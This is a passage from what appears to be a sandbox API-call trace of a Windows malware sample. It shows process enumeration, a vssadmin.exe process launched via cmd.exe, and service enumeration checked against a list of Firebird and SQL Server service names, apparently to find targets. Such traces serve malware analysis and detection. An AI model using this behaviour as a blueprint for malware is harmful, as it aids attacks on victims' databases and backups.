th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0053.598] lstrlenW (lpString="jpmanagers.exe") returned 14 [0053.598] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0053.599] lstrlenW (lpString="motor.exe") returned 9 [0053.599] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0053.600] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0053.600] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0053.600] lstrlenW (lpString="toshiba.exe") returned 11 [0053.601] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.601] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.601] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0053.602] lstrlenW (lpString="mobsync.exe") returned 11 [0053.602] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0053.602] lstrlenW (lpString="3G6885.exe") returned 10 [0053.602] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.603] lstrlenW (lpString="cmd.exe") returned 7 [0053.603] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.604] lstrlenW (lpString="conhost.exe") returned 11 [0053.604] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.604] lstrlenW (lpString="vssadmin.exe") returned 12 [0053.605] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0053.605] lstrlenW (lpString="VSSVC.exe") returned 9 [0053.605] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.606] lstrlenW (lpString="svchost.exe") returned 11 [0053.606] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0053.607] CloseHandle (hObject=0x210) returned 1 [0053.607] Sleep (dwMilliseconds=0x1f4) [0054.313] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6400d0 [0054.314] EnumServicesStatusExW (in: hSCManager=0x6400d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0054.314] GetLastError () returned 0xea [0054.314] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x36b4738 [0054.315] EnumServicesStatusExW (in: hSCManager=0x6400d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b4738, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b4738, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0054.315] CloseServiceHandle (hSCObject=0x6400d0) returned 1 [0054.316] lstrlenW (lpString="Appinfo") returned 7 [0054.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.316] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.316] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.316] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.316] lstrlenW (lpString="AudioSrv") returned 8 [0054.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0054.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0054.316] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0054.316] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0054.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0054.316] lstrlenW (lpString="BFE") returned 3 [0054.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0054.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0054.316] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0054.316] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0054.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0054.316] lstrlenW (lpString="CryptSvc") returned 8 [0054.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0054.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0054.316] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0054.316] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0054.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0054.317] lstrlenW (lpString="CscService") returned 10 [0054.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0054.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0054.317] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0054.317] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0054.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0054.317] lstrlenW (lpString="DcomLaunch") returned 10 [0054.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0054.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0054.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0054.317] lstrlenW (lpString="Dhcp") returned 4 [0054.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0054.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0054.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0054.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0054.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0054.317] lstrlenW (lpString="Dnscache") returned 8 [0054.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0054.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0054.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0054.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0054.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0054.317] lstrlenW (lpString="DPS") returned 3 [0054.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0054.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0054.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0054.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0054.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0054.318] lstrlenW (lpString="eventlog") returned 8 [0054.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0054.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0054.318] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0054.318] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0054.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0054.318] lstrlenW (lpString="EventSystem") returned 11 [0054.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0054.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0054.318] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0054.318] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0054.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0054.318] lstrlenW (lpString="gpsvc") returned 5 [0054.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0054.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0054.318] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0054.318] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0054.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0054.318] lstrlenW (lpString="iphlpsvc") returned 8 [0054.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.318] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0054.318] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0054.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0054.318] lstrlenW (lpString="LanmanServer") returned 12 [0054.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0054.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0054.318] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0054.318] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0054.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0054.319] lstrlenW (lpString="LanmanWorkstation") returned 17 [0054.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.319] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0054.319] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0054.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0054.319] lstrlenW (lpString="lmhosts") returned 7 [0054.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0054.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0054.319] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0054.319] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0054.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0054.319] lstrlenW (lpString="MMCSS") returned 5 [0054.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0054.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0054.319] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0054.319] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0054.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0054.319] lstrlenW (lpString="MpsSvc") returned 6 [0054.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0054.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0054.319] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0054.319] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0054.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0054.319] lstrlenW (lpString="Netman") returned 6 [0054.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0054.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0054.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0054.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0054.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0054.320] lstrlenW (lpString="netprofm") returned 8 [0054.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0054.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0054.320] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0054.320] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0054.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0054.320] lstrlenW (lpString="NlaSvc") returned 6 [0054.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0054.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0054.320] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0054.320] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0054.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0054.320] lstrlenW (lpString="nsi") returned 3 [0054.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0054.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0054.320] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0054.320] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0054.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0054.320] lstrlenW (lpString="PcaSvc") returned 6 [0054.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0054.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0054.320] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0054.320] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0054.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0054.320] lstrlenW (lpString="PlugPlay") returned 8 [0054.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0054.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0054.320] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0054.320] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0054.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0054.320] lstrlenW (lpString="Power") returned 5 [0054.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0054.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0054.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0054.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0054.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0054.321] lstrlenW (lpString="ProfSvc") returned 7 [0054.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0054.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0054.321] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0054.321] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0054.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0054.321] lstrlenW (lpString="RpcEptMapper") returned 12 [0054.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.321] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0054.321] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0054.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0054.321] lstrlenW (lpString="RpcSs") returned 5 [0054.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0054.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0054.321] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0054.321] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0054.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0054.321] lstrlenW (lpString="SamSs") returned 5 [0054.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0054.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0054.321] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0054.321] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0054.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0054.321] lstrlenW (lpString="Schedule") returned 8 [0054.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0054.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0054.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0054.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0054.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0054.322] lstrlenW (lpString="SENS") returned 4 [0054.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0054.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0054.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0054.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0054.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0054.322] lstrlenW (lpString="ShellHWDetection") returned 16 [0054.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.322] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0054.322] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0054.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0054.322] lstrlenW (lpString="Spooler") returned 7 [0054.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0054.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0054.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0054.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0054.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0054.322] lstrlenW (lpString="swprv") returned 5 [0054.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0054.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0054.322] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0054.322] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0054.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0054.322] lstrlenW (lpString="SysMain") returned 7 [0054.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0054.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0054.323] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0054.323] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0054.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0054.323] lstrlenW (lpString="Themes") returned 6 [0054.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0054.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0054.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0054.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0054.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0054.323] lstrlenW (lpString="TrkWks") returned 6 [0054.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0054.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0054.323] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0054.323] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0054.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0054.323] lstrlenW (lpString="UxSms") returned 5 [0054.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0054.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0054.323] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0054.323] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0054.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0054.323] lstrlenW (lpString="VSS") returned 3 [0054.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0054.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0054.323] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0054.323] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0054.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0054.323] lstrlenW (lpString="WdiServiceHost") returned 14 [0054.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.324] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0054.324] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0054.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0054.324] lstrlenW (lpString="WdiSystemHost") returned 13 [0054.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.324] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0054.324] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0054.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0054.324] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0054.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.324] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0054.324] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0054.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0054.324] lstrlenW (lpString="Winmgmt") returned 7 [0054.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0054.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0054.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0054.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0054.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0054.324] lstrlenW (lpString="WPDBusEnum") returned 10 [0054.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 